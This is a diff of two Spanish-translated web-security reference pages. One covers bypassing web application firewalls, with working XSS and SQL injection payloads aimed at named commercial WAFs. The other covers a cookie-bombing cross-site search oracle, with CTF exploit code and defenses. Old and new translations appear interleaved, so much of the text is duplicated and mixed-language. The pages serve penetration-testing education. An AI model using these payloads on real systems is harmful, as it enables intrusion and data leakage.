- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a>
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
@ -148,9 +149,9 @@ cache-deception/README.md
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
### Compatibilidad de Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>
### Compatibilidad Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>
Dependiendo de la implementación de la normalización de Unicode (más información [aquí](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), los caracteres que comparten compatibilidad Unicode pueden ser capaces de eludir el WAF y ejecutarse como la carga útil prevista. Los caracteres compatibles se pueden encontrar [aquí](https://www.compart.com/en/unicode).
Dependiendo de la implementación de la normalización Unicode (más información [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), los caracteres que comparten compatibilidad Unicode pueden ser capaces de bypass the WAF y ejecutarse como la payload prevista. Los caracteres compatibles se pueden encontrar [here](https://www.compart.com/en/unicode).
#### Ejemplo <a href="#example" id="example"></a>
```bash
@ -158,26 +159,26 @@ Dependiendo de la implementación de la normalización de Unicode (más informac
# to the XSS payload on the right
img src⁼p onerror⁼prompt⁽1⁾﹥ --> img src=p onerror='prompt(1)'>
```
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
### Evadir WAFs contextuales con codificaciones <a href="#ip-rotation" id="ip-rotation"></a>
Como se menciona en [**esta publicación del blog**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), para eludir WAFs capaces de mantener un contexto de la entrada del usuario, podríamos abusar de las técnicas del WAF para normalizar realmente la entrada de los usuarios.
Como se menciona en [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization), para evadir WAFs capaces de mantener un contexto de la entrada del usuario podríamos abusar de las técnicas del WAF para realmente normalizar la entrada del usuario.
Por ejemplo, en la publicación se menciona que **Akamai decodificó una entrada de usuario 10 veces**. Por lo tanto, algo como `<input/%2525252525252525253e/onfocus` será visto por Akamai como `<input/>/onfocus`, lo que **podría pensar que está bien ya que la etiqueta está cerrada**. Sin embargo, mientras la aplicación no decodifique la entrada 10 veces, la víctima verá algo como `<input/%25252525252525253e/onfocus`, que **sigue siendo válido para un ataque XSS**.
Por ejemplo, en el post se menciona que **Akamai URL decoded a user input 10 times**. Por lo tanto algo como `<input/%2525252525252525253e/onfocus` será visto por Akamai como `<input/>/onfocus` que **podría considerar que está bien ya que la etiqueta está cerrada**. Sin embargo, en la medida en que la aplicación no decodifique la URL 10 veces, la víctima verá algo como `<input/%25252525252525253e/onfocus` que **sigue siendo válido para un ataque XSS**.
Por lo tanto, esto permite **ocultar cargas útiles en componentes codificados** que el WAF decodificará e interpretará mientras que la víctima no lo hará.
Por lo tanto, esto permite **ocultar payloads en componentes codificados** que el WAF decodificará e interpretará mientras la víctima no lo hará.
Además, esto se puede hacer no solo con cargas útiles codificadas en URL, sino también con otras codificaciones como unicode, hex, octal...
Además, esto se puede hacer no solo con payloads codificados en URL sino también con otras codificaciones como unicode, hex, octal...
En la publicación se sugieren los siguientes bypass finales:
En el post se sugieren los siguientes final bypasses:
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
También se menciona que dependiendo de **cómo algunos WAFs entienden el contexto** de la entrada del usuario, podría ser posible abusar de ello. El ejemplo propuesto en el blog es que Akamai permite poner cualquier cosa entre `/*` y `*/` (potencialmente porque esto se usa comúnmente como comentarios). Por lo tanto, una inyección SQL como `/*'or sleep(5)-- -*/` no será detectada y será válida ya que `/*` es la cadena de inicio de la inyección y `*/` está comentada.
También se menciona que, dependiendo de **cómo algunos WAFs entienden el contexto** de la entrada del usuario, podría ser posible abusar de ello. El ejemplo propuesto en el blog es que Akamai allow(ed) to put anything between `/*` and `*/` (potencialmente porque esto se usa comúnmente como comentarios). Por lo tanto, una SQLinjection such as `/*'or sleep(5)-- -*/` no sería detectada y sería válida ya que `/*` es la cadena de inicio de la inyección y `*/` está comentada.
Estos tipos de problemas de contexto también se pueden usar para **abusar de otras vulnerabilidades que no son las que se espera que sean explotadas por el WAF** (por ejemplo, esto también podría usarse para explotar un XSS).
Este tipo de problemas de contexto también pueden usarse para **abusar de otras vulnerabilidades diferentes a la que el WAF espera** (p. ej., esto también podría usarse para explotar un XSS).
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
@ -186,17 +187,17 @@ Estos tipos de problemas de contexto también se pueden usar para **abusar de ot
h2c-smuggling.md
{{#endref}}
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
### Rotación de IP (IP Rotation) <a href="#ip-rotation" id="ip-rotation"></a>
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generar una URL de API gateway para usar con ffuf
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Genera una URL de API gateway para usar con ffuf
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar a fireprox
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin de Burp Suite que utiliza IPs de API gateway
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Un número determinado dinámicamente de instancias de contenedor se activan según el tamaño del archivo de entrada y el factor de división, con la entrada dividida en fragmentos para ejecución paralela, como 100 instancias procesando 100 fragmentos de un archivo de entrada de 10,000 líneas con un factor de división de 100 líneas.
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Plugin de Burp Suite que usa API gateway IPs
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Se activan dinámicamente un número de instancias de contenedor en función del tamaño del archivo de entrada y del factor de división, con la entrada dividida en chunks para ejecución en paralelo, por ejemplo 100 instancias procesando 100 chunks de un archivo de 10,000 líneas con un split factor de 100 líneas.
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
### Regex Bypasses
Se pueden utilizar diferentes técnicas para eludir los filtros regex en los firewalls. Ejemplos incluyen alternar mayúsculas y minúsculas, agregar saltos de línea y codificar cargas útiles. Los recursos para los diversos bypasses se pueden encontrar en [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) y [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Los ejemplos a continuación se extrajeron de [este artículo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
Se pueden usar diferentes técnicas para evadir los filtros basados en regex en los firewalls. Ejemplos incluyen alternar mayúsculas/minúsculas, añadir saltos de línea y codificar payloads. Recursos para los distintos bypasses pueden encontrarse en [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) y [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Los ejemplos abajo fueron extraídos de [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
@ -219,7 +220,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
```
## Herramientas
- [**nowafpls**](https://github.com/assetnote/nowafpls): Plugin de Burp para agregar datos basura a las solicitudes para eludir WAFs por longitud
- [**nowafpls**](https://github.com/assetnote/nowafpls): plugin de Burp para añadir datos basura a las solicitudes para evadir WAFs mediante la longitud
## Referencias
@ -227,7 +228,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
- [Cómo encontré una toma de control de cuenta 0-Clic en un BBP público y la aproveché para acceder a funcionalidades de nivel Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,7 +2,24 @@
{{#include ../../banners/hacktricks-training.md}}
El siguiente **script** tomado de [**aquí**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) está explotando una funcionalidad que permite al usuario **insertar cualquier cantidad de cookies**, y luego cargar un archivo como un script sabiendo que la verdadera respuesta será más grande que la falsa y luego. Si tiene éxito, la respuesta es una redirección con una URL resultante más larga, **demasiado grande para que el servidor la maneje, por lo que devuelve un código de estado http de error**. Si la búsqueda falla, no sucederá nada porque la URL es corta.
Esta técnica combina:
- Cookie bombing: rellenar el navegador de la víctima con muchas/grandes cookies para el target origin de modo que las solicitudes posteriores alcancen límites del servidor/solicitud (tamaño de request headers, tamaño de la URL en redirects, etc.).
- Error-event oracle: sondear un endpoint cross-origin con un <script> (u otro subresource) y distinguir estados con onload vs onerror.
Idea general
- Encuentra un endpoint target cuyo comportamiento difiera entre dos estados que quieres probar (p. ej., search “hit” vs “miss”).
- Asegura que la ruta “hit” desencadene una heavy redirect chain o una URL larga mientras la ruta “miss” se mantiene corta. Infla los request headers usando muchas cookies de modo que solo la ruta “hit” haga que el servidor falle con un HTTP error (p. ej., 431/414/400). El error invierte el evento onerror y se convierte en un oracle para XS-Search.
Cuándo funciona esto
- Puedes provocar que el navegador de la víctima envíe cookies al target (p. ej., las cookies son SameSite=None o puedes establecerlas en un first-party context vía un popup window.open).
- Hay una funcionalidad de la app que puedes abusar para establecer cookies arbitrarias (p. ej., endpoints de “save preference” que convierten nombres/valores controlados en Set-Cookie) o para hacer post-auth redirects que incorporen datos controlados por el atacante en la URL.
- El servidor reacciona de forma distinta en los dos estados y, con headers/URL inflados, un estado cruza un límite y devuelve una respuesta de error que dispara onerror.
Nota sobre errores del servidor usados como el oracle
- 431 Request Header Fields Too Large se devuelve comúnmente cuando las cookies inflan los request headers; 414 URI Too Long o un 400 específico del servidor pueden devolverse para targets con requests largos. Cualquiera de estos resulta en una carga fallida del subresource y dispara onerror. [MDN documents 431 and typical causes like excessive cookies.]()
Ejemplo práctico (angstromCTF 2022)
El siguiente script (de un writeup público) abusa de una función que permite al atacante insertar cookies arbitrarias, luego carga un search endpoint cross-origin como un script. Cuando la query es correcta, el servidor realiza un redirect que, junto con el cookie bloat, excede los límites del servidor y devuelve un error status, por lo que script.onerror se dispara; de lo contrario no sucede nada.
```html
<>'";
<form action="https://sustenance.web.actf.co/s" method="POST">
@ -57,4 +74,53 @@ break
}
</script>
```
¿Por qué el popup (window.open)?
- Los navegadores modernos bloquean cada vez más los third-party cookies. Abrir una ventana de nivel superior hacia el target convierte las cookies en first-party, de modo que las respuestas Set-Cookie del target perdurarán, habilitando el paso cookie-bomb incluso con restricciones de third-party cookies.
Ayudante genérico de sondeo
Si ya tienes una forma de establecer muchas cookies en el target origin (first-party), puedes reutilizar este minimal oracle contra cualquier endpoint cuyo éxito/fracaso conduzca a distintos resultados de red (status/MIME/redirect):
```js
function probeError(url) {
return new Promise((resolve) => {
const s = document.createElement('script');
s.src = url;
s.onload = () => resolve(false); // loaded successfully
s.onerror = () => resolve(true); // failed (e.g., 4xx/5xx, wrong MIME, blocked)
document.head.appendChild(s);
});
}
```
Tips to build the oracle
- Force the “positive” state to be heavier: chain an extra redirect only when the predicate is true, or make the redirect URL reflect unbounded user input so it grows with the guessed prefix.
- Inflate headers: repeat cookie bombing until a consistent error is observed on the “heavy” path. Servers commonly cap header size and will fail sooner when many cookies are present.
- Stabilize: fire multiple parallel cookie set operations and probe repeatedly to average out timing and caching noise.
Related XS-Search tricks
- URL length based oracles (no cookies needed) can be combined or used instead when you can force a very long request target:
{{#ref}}
url-max-length-client-side.md
{{#endref}}
Defenses and hardening
- Make success/failure responses indistinguishable:
- Avoid conditional redirects or large differences in response size between states. Return the same status, same content type, and similar body length regardless of state.
- Block cross-site subresource probes:
- SameSite cookies: set sensitive cookies to SameSite=Lax or Strict so subresource requests like <script src> dont carry them; prefer Strict for auth tokens when possible.
- Fetch Metadata: enforce a Resource Isolation Policy to reject cross-site subresource loads (e.g., if Sec-Fetch-Site != same-origin/same-site).
- Cross-Origin-Resource-Policy (CORP): set CORP: same-origin (or at least same-site) for endpoints not meant to be embedded as cross-origin subresources.
- X-Content-Type-Options: nosniff and correct Content-Type on JSON/HTML endpoints to avoid load-as-script quirks.
- Reduce header/URL amplification:
- Cap the number/size of cookies set; sanitize features that turn arbitrary form fields into Set-Cookie.
- Normalize or truncate reflected data in redirects; avoid embedding attacker-controlled long strings in Location URLs.
- Keep server limits consistent and fail uniformly (avoid special error pages only for one branch).
Notes
- This class of attacks is discussed broadly as “Error Events” XS-Leaks. The cookie-bomb step is just a convenient way to push only one branch over server limits, producing a reliable boolean oracle.
## References
- XS-Leaks: Error Events (onerror/onload as an oracle): https://xsleaks.dev/docs/attacks/error-events/
- MDN: 431 Request Header Fields Too Large (common with many cookies): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
{{#include ../../banners/hacktricks-training.md}}